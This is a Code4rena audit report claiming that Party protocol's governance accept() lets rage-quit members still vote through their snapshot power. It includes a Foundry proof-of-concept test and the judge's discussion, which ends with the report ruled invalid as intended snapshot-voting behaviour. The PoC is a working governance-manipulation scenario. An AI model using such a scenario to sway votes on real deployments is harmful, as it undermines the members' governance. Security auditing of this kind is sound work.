PartyGovernance.sol#accept - Inactive members can still accept proposals

[c4-submissions]

Lines of code

https://github.com/code-423n4/2023-10-party/blob/b23c65d62a20921c709582b0b76b387f2bb9ebb5/contracts/party/PartyGovernance.sol#L595-L658

Vulnerability details

Impact

The protocol employs _assertActiveMember to enforce that only active members (either having intrinsic voting power or delegated voting power) call important functions, like propose/execute/cancel.

accept is missing the _assertActiveMember check.

    function accept(uint256 proposalId, uint256 snapIndex) public returns (uint256 totalVotes) {
        // _assertActiveMembers isn't called anywhere here
        // Get the information about the proposal.
        ProposalState storage info = _proposalStateByProposalId[proposalId];
        ProposalStateValues memory values = info.values;

        // Can only vote in certain proposal statuses.
        {
            ProposalStatus status = _getProposalStatus(values);
            // Allow voting even if the proposal is passed/ready so it can
            // potentially reach 100% consensus, which unlocks special
            // behaviors for certain proposal types.
            if (
                status != ProposalStatus.Voting &&
                status != ProposalStatus.Passed &&
                status != ProposalStatus.Ready
            ) {
                revert BadProposalStatusError(status);
            }
     }
        ...

For example, if a user has 1 card with 10 voting power, a proposal is created and the user calls rageQuit, he/she can still accept, even though they technically have 0 intrinsic/delegated voting power and they have no Cards.

The lack of _assertActiveMember, a user can accept any proposal as long as he burned his Cards after the proposal was created.

So if we have 10 ongoing proposals, the user calls rageQuit after they are created, he can vote on all 10 of the proposals.

Proof of Concept

Paste the following inside test/crowdfund/InitialETHCrowdfund.t.sol in contract InitialETHCrowdfundTest
and run forge test --mt test_nonActiveMembersCanStillVote -vvvv

function _createCrowdfundWithAuthorities(
        CreateCrowdfundArgs memory args,
        bool initialize
    ) internal returns (InitialETHCrowdfund crowdfund) {
        crowdfundOpts.initialContributor = args.initialContributor;
        crowdfundOpts.initialDelegate = args.initialDelegate;
        crowdfundOpts.minContribution = args.minContributions;
        crowdfundOpts.maxContribution = args.maxContributions;
        crowdfundOpts.disableContributingForExistingCard = args.disableContributingForExistingCard;
        crowdfundOpts.minTotalContributions = args.minTotalContributions;
        crowdfundOpts.maxTotalContributions = args.maxTotalContributions;
        crowdfundOpts.duration = args.duration;
        crowdfundOpts.exchangeRateBps = args.exchangeRateBps;
        crowdfundOpts.fundingSplitBps = args.fundingSplitBps;
        crowdfundOpts.fundingSplitRecipient = args.fundingSplitRecipient;
        crowdfundOpts.gateKeeper = args.gateKeeper;
        crowdfundOpts.gateKeeperId = args.gateKeeperId;

        partyOpts.name = "Test Party";
        partyOpts.symbol = "TEST";
        partyOpts.governanceOpts.partyImpl = partyImpl;
        partyOpts.governanceOpts.partyFactory = partyFactory;
        partyOpts.governanceOpts.voteDuration = 7 days;
        partyOpts.governanceOpts.executionDelay = 1 days;
        // Note that the passThresholdBps is 70%
        partyOpts.governanceOpts.passThresholdBps = 0.7e4;
        partyOpts.governanceOpts.hosts = new address[](1);
        partyOpts.governanceOpts.hosts[0] = address(this);
        partyOpts.authorities = new address[](1); // Set the authority to address(this) for testing purposes
        partyOpts.authorities[0] = address(this);

        crowdfund = InitialETHCrowdfund(payable(address(initialETHCrowdfundImpl).clone()));
        if (initialize) {
            crowdfund.initialize{ value: args.initialContribution }(
                crowdfundOpts,
                partyOpts,
                MetadataProvider(address(0)),
                ""
            );
        }
    }

    function _createProposal(
        uint256 numSteps
    ) private view returns (PartyGovernance.Proposal memory prop) {
        return
            PartyGovernance.Proposal({
                // Expires right after execution delay.
                maxExecutableTime: uint40(block.timestamp) +
                    12 hours +
                    1,
                cancelDelay: uint40(1 days),
                proposalData: abi.encode(numSteps)
            });
    }
    

    function test_nonActiveMembersCanStillVote() public {
        InitialETHCrowdfund crowdfund = _createCrowdfundWithAuthorities(
            CreateCrowdfundArgs({
                initialContribution: 0, 
                initialContributor: payable(address(0)),
                initialDelegate: address(0),
                minContributions: 0,
                maxContributions: type(uint96).max,
                disableContributingForExistingCard: false, 
                minTotalContributions: 5 ether,
                maxTotalContributions: 10 ether, 
                duration: 7 days,
                exchangeRateBps: 1e4, 
                fundingSplitBps: 0,
                fundingSplitRecipient: payable(address(0)),
                gateKeeper: IGateKeeper(address(0)),
                gateKeeperId: bytes12(0)
            }), true
        );
        Party party = crowdfund.party();

        // Alice contributes
        address alice = _randomAddress();
        vm.deal(alice, 10 ether);
        vm.prank(alice);
        crowdfund.contribute{value: 5 ether }(address(alice), "");

        // Bob contributes and finalizes the crowdfund
        address bob = _randomAddress();
        vm.deal(bob, 5 ether);
        vm.prank(bob);
        crowdfund.contribute{value: 5 ether }(address(bob), "");

        vm.warp(block.timestamp + 1 days);

        // A proposal is created by Bob
        vm.prank(bob);
        party.propose(_createProposal(1), 0);

        (
            PartyGovernance.ProposalStatus status, 
            PartyGovernance.ProposalStateValues memory values
        ) = party.getProposalStateInfo(1);

        // The proposal is still voting
        assertEq(uint256(status), 1);
        assertEq(values.votes, 5 ether);

        vm.warp(block.timestamp + 1 days);

        // The authority can also manually burn Alice's card
        // vm.prank(address(this));
        // party.burn(1);

        // Aice rageQuits, burns her Card and receives her ETH
        vm.prank(address(this));
        party.setRageQuit(0x6b5b567bfe);

        uint256[] memory tokenIds = new uint256[](1);
        tokenIds[0] = 1;
        IERC20[] memory withdrawTokens = new IERC20[](1);
        withdrawTokens[0] = IERC20(0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE);
        uint256[] memory minWithdrawAmounts = new uint256[](1);
        minWithdrawAmounts[0] = 5 ether;
        address receiver = address(alice);
        vm.prank(alice);
        party.rageQuit(tokenIds, withdrawTokens, minWithdrawAmounts, receiver);

        // Alice's Card is burned
        vm.expectRevert();
        party.ownerOf(1);

        // And she recovered her tokens
        assertEq(alice.balance, 10 ether);

        vm.warp(block.timestamp + 1 days);

        // Alice can still accept proposals
        vm.prank(alice);
        party.accept(1, 0);

        (
            status, 
            values
        ) = party.getProposalStateInfo(1);

        // The proposal passed, even though Alice isn't an acitve member anymore
        assertEq(uint256(status), 4);
        assertEq(values.votes, 10 ether);

        // This is just to showcase that Alice isn't an active member anymore
        vm.expectRevert();
        vm.prank(alice);
        party.propose(_createProposal(1), 0);
    }

Tools Used

Manual Review

Recommended Mitigation Steps

Use the _assertActiveMember function to ensure that msg.sender is an active member

Assessed type

Access Control

[ydspa]

This is to allow hosts accept

Invalid

[c4-pre-sort]

ydspa marked the issue as insufficient quality report

[c4-judge]

gzeon-c4 marked the issue as unsatisfactory:
Invalid

[c4-judge]

gzeon-c4 marked the issue as unsatisfactory:
Invalid

[0xdeth]

Hey @gzeon-c4

We would like to point out that even if the current code is like so, to allow hosts to accept, the code still allows inactive members to participate in voting on proposals.

The protocol allows inactive members to participate in proposal acceptance, a function meant only for active members.

This discrepancy creates a vulnerability where malicious actors can influence voting outcomes, undermining the protocol's integrity.

We believe the issue has been misjudged and we kindly ask you to re-evaluate its severity given its high impact.

This breaks a core invariant of any governance protocol, as no members that currently doesn't hold any voting power, should be able to participate in voting.

We propose implementing a dedicated function accessible only to hosts, allowing them to accept even when they are "inactive." This function should be restricted from regular inactive members.

Cheers.

[gzeon-c4]

It is a no-op as inactive member would not have voting power by definition
https://github.com/code-423n4/2023-10-party/blob/b23c65d62a20921c709582b0b76b387f2bb9ebb5/contracts/party/PartyGovernance.sol#L222-L225

[0xdeth]

@gzeon-c4

Their previous snapshots will, the report and PoC showcase it.

You can see in the PoC that the status and votes of the proposal change, when Alice accepts the proposal even though she is an inactive member.

Cheers.

[gzeon-c4]

activeness is defined by their previous snapshot https://github.com/code-423n4/2023-10-party/blob/b23c65d62a20921c709582b0b76b387f2bb9ebb5/contracts/party/PartyGovernance.sol#L222-L225

[0xdeth]

Hey @gzeon-c4

Inactivity is defined by their last snapshot, while accept takes the previous snapshot from when the proposal was created.
https://github.com/code-423n4/2023-10-party/blob/b23c65d62a20921c709582b0b76b387f2bb9ebb5/contracts/party/PartyGovernance.sol#L634

This means if you had voting power before the creation of a proposal, then rageQuit after the proposal and become inactive, you can still vote on that proposal, because it uses the previous snapshot from the creation of the proposal.

The PoC clearly showcases this, using vm.warp to simulate time passing between each action.

[gzeon-c4]

Gotcha, tho I still think this is an intended behavior to allow them to vote with their snapshot voting power (even after rage quit) just like you can sell your voting token after the snapshot and still vote, at least this does not seems to break anything. The inconsistency between accept vs propose/execute/cancel can be explained by the later does not depends on the voting snapshot.

I will ping @0xble to confirm.

[0xdeth]

Thank you for your time and extra comments.

Have a good one.

[0xdeth]

Final thoughts on this? @0xble

[gzeon-c4]

Going to keep this as invalid due to the currently behavior aligns with how snapshot voting usually works.